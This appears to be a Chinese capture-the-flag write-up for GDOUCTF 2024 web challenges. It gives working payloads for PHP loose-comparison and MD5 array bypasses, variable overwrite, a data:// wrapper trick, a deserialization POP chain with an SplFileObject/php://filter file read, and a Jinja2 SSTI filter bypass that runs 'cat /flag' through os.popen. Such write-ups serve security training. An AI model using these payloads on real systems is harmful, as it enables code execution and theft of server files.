[GDOUCTF 2024] ——web方向全Write up_$web1 == 114514 && $web1 != $web2 && $web2 == 1145


![在这里插入图片描述](https://img-blog.csdnimg.cn/d2888848459e401db7f34cfd0d8b73b5.png)


拿到flag


### 受不了一点


代码审计



<?php error\_reporting(0); header("Content-type:text/html;charset=utf-8"); if(isset($\_POST['gdou'])&&isset($\_POST['ctf'])){ $b=$\_POST['ctf']; $a=$\_POST['gdou']; if($\_POST['gdou']!=$\_POST['ctf'] && md5($a)===md5($b)){ if(isset($\_COOKIE['cookie'])){ if ($\_COOKIE['cookie']=='j0k3r'){ if(isset($\_GET['aaa']) && isset($\_GET['bbb'])){ $aaa=$\_GET['aaa']; $bbb=$\_GET['bbb']; if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){ $give = 'cancanwordflag'; $get ='hacker!'; if(!isset($\_GET['flag']) && !isset($\_POST['flag'])){ die($give); } if($\_POST['flag'] === 'flag' || $\_GET['flag'] === 'flag'){ die($get); } foreach ($\_POST as $key => $value) { $$key = $value; } foreach ($\_GET as $key => $value) { $$key = $$value; } echo $f1ag; }else{ echo "洗洗睡吧"; } }else{ echo "行不行啊细狗"; } } } else { echo '菜菜'; } }else{ echo "就这?"; } }else{ echo "别来沾边"; } ?>

第一层是md5强比较直接`数组绕过`,构造payload:



ctf[]=1&gdou[]=2


接下来第二层,是cookie的值,`cookie= 'j0k3r'`


这里可以利用Cookie Editor(一个浏览器插件),也可以用postman


![在这里插入图片描述](https://img-blog.csdnimg.cn/375c529960f34d6e82a83a66097e874c.png)


然后保存,刷新网页,进入下一层


判断aaa,bbb是否存在,并且还让他们都等于114514,而且还不能相等


但是注意一下,这里是`双等号(==)`所以,双等号是不要求类型相同的,所以我们可以构造payload



?aaa=114514&b=114514abc


进入最后一层:要进行变量覆盖


选择GET传参,构造payload:



?aaa=114514&b=114514abc&123=flag&flag=123


所以我们可以得到最后的exp为:



http://node1.anna.nssctf.cn:28026?aaa=114514&bbb=114514abc&123=flag&flag=123

POST DATA:
ctf[]=1&gdou[]=2&123=flag&flag=123


### 泄露的伪装


上来啥也没有,直接dirsearch开扫


![在这里插入图片描述](https://img-blog.csdnimg.cn/3f087cf6cf5743b6a72a31432365c79f.png)


扫到了`test.txt`文档和`www.rar`备份文件


![在这里插入图片描述](https://img-blog.csdnimg.cn/afda4fc012af430ab9e48b4c381d2e00.png)


访问`/www.rar`,会下载文件,打开然后解压


![在这里插入图片描述](https://img-blog.csdnimg.cn/8845c297b4dc4e438d5ff538fb3ce92b.png)


都恭喜我了,那就去访问一下`/orzorz.php`



> 
> test.txt也看过了,里面和/orzorz.php中的内容一样,不过是文档形式,这里不赘述
> 
> 
> 


![在这里插入图片描述](https://img-blog.csdnimg.cn/c9ed4061634c48069fb1f5610154fcdb.png)


代码审计:



<?php error\_reporting(0); if(isset($\_GET['cxk'])){ $cxk=$\_GET['cxk']; if(file\_get\_contents($cxk)=="ctrl"){ echo $flag; }else{ echo "洗洗睡吧"; } }else{ echo "nononoononoonono"; } ?> nononoononoonono

根据代码审计以及`file_get_contents`读取文件内容函数我们可以知道我们需要传入一个文件,里面的内容是`唱跳rap篮球`(?)那我们就要利用`data://`伪协议


构造payload(这里不知道为什么直接传入ctrl不行,可能是过滤了,只能用base64加密传入):



http://node3.anna.nssctf.cn:28372/orzorz.php?cxk=data://text/plain;base64,Y3RybA==


拿到flag,结束


### 反方向的钟


反序列化,看代码:



<?php error\_reporting(0); highlight\_file(\_\_FILE\_\_); // flag.php class teacher{ public $name; public $rank; private $salary; public function \_\_construct($name,$rank,$salary = 10000){ $this->name = $name; $this->rank = $rank; $this->salary = $salary; } } class classroom{ public $name; public $leader; public function \_\_construct($name,$leader){ $this->name = $name; $this->leader = $leader; } public function hahaha(){ if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){ return False; } else{ return True; } } } class school{ public $department; public $headmaster; public function \_\_construct($department,$ceo){ $this->department = $department; $this->headmaster = $ceo; } public function IPO(){ if($this->headmaster == 'ong'){ echo "Pretty Good ! Ctfer!\n"; echo new $\_POST['a']($\_POST['b']); } } public function \_\_wakeup(){ if($this->department->hahaha()) { $this->IPO(); } } } if(isset($\_GET['d'])){ unserialize(base64\_decode($\_GET['d'])); } ?>

首先构造pop链,通过`echo new $_POST['a']($_POST['b']);`我们就可以确定尾巴是school中的IPO函数,那么触发函数的方式就是`__wakeup()`魔术方法,然后可以看到\_\_wakeup()中会指向classroom类的hahaha函数,hahaha所需要的变量条件在school类的`___construct()`函数中



> 
> \_\_wakeup():在反序列化的时候触发该魔术方法
> 
> 
> \_\_construct():构造对象的时候触发
> 
> 
> 


所以我们可以得到popchain:



首:classroom::__construct() => classroom::hahaha => school::__wakeup() => school::IPO:尾


再看看各个变量要求的条件,我们可以得出payload,由于最后还会经过base64解密,所以我们构造的时候要进行base64加密:



<?php class teacher{ public $name; public $rank; private $salary; public function \_\_construct($name,$rank,$salary = 10000){ $this->name = $name; $this->rank = $rank; $this->salary = $salary; } } class classroom{ public $name; public $leader; public function \_\_construct($name,$leader){ $this->name = $name; $this->leader = $leader; } } class school{ public $department; public $headmaster; public function \_\_construct($department,$ceo){ $this->department = $department; $this->headmaster = $ceo; } } $a = new classroom('one class',new teacher('ing','department')); $b = new school($a,'ong'); echo base64\_encode(serialize($b)); ?>

得到exp:



d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9


OK,正确


![在这里插入图片描述](https://img-blog.csdnimg.cn/446c62960ab74c699ca1576ea3f3a9d5.png)


通过`echo new $_POST['a']($_POST['b']);`可以知道给我们创造了a和b两个参数,所以我们可以进行命令执行


但是这里没有回显,卡住了,查了查资料 用php的内置类SplFileObject来读取文件内容。


由于没有输出,想要读取到文件里的内容要用伪协议。



Post Data:
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php


传入之后得到flag再进行base64解密就行了


### <ez\_ze>


好狠的过滤!


把`’ [] " \_ {{}} \ .都过滤了但是比较幸运的是可以用{%%},看了看他的config和self,发现都可以用


![在这里插入图片描述](https://img-blog.csdnimg.cn/e0b5624d3d5d48979c37c26bb033a441.png)


![在这里插入图片描述](https://img-blog.csdnimg.cn/b932fc1c119141ce8402348132ee3b93.png)


网上找到的通过self来构造payload,不过其中的空格都需要用`%0c`代替



首先构造出所需的数字:

{% set zero = (self|int) %} # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %} # 1
{% set two = (zero-one-one)|abs %} # 2
{% set four = (two*two)|int %} # 4
{% set five = (two*two*two)-one-one-one %} # 5
{% set three = five-one-one %} # 3
{% set nine = (two*two*two*two-five-one-one) %} # 9
{% set seven = (zero-one-one-five)|abs %} # 7

构造出所需的各种字符与字符串:

{% set space = self|string|min %} # 空格
{% set point = self|float|string|min %} # .

{% set c = dict(c=aa)|reverse|first %} # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc = bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %} # 使用%c构造引号 ’
{% set xhx = bfhc%((nine~five)|int) %} # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %} # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %} # 使用%c构造左括号 (

{% set but = dict(buil=aa,tins=dd)|join %} # builtins
{% set imp = dict(imp=aa,ort=dd)|join %} # import
{% set pon = dict(po=aa,pen=dd)|join %} # popen
{% set so = dict(o=aa,s=dd)|join %} # os
{% set ca = dict(ca=aa,t=dd)|join %} # cat
{% set flg = dict(fl=aa,ag=dd)|join %} # flag
{% set ev = dict(ev=aa,al=dd)|join %} # eval
{% set red = dict(re=aa,ad=dd)|join %} # read
{% set bul = xhxxhxbutxhxxhx %} # __builtins__

{% set ini = dict(ini=aa,t=bb)|join %} # init
{% set glo = dict(glo=aa,bals=bb)|join %} # globals
{% set itm = dict(ite=aa,ms=bb)|join %} # items

将上面构造的字符或字符串拼接起来构造出 __import__(‘os’).popen(‘cat /flag’).read():

{% set pld = xhxxhximpxhxxhxleftyinsoyinrightpointponleftyincaspaceslasflgyinrightpointredleft~right %}

然后将上面构造的各种变量添加到SSTI万能payload里面就行了:

{% for f,v in (whoami|attr(xhxxhxinixhxxhx)|attr(xhxxhxgloxhxxhx)|attr(itm))() %} # globals
{% if f == bul %}
{% for a,b in (v|attr(itm))() %} # builtins
{% if a == ev %} # eval
{{b(pld)}} # eval(“__import__(‘os’).popen(‘cat /flag’).read()”)
{% endif %}
{% endfor %}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值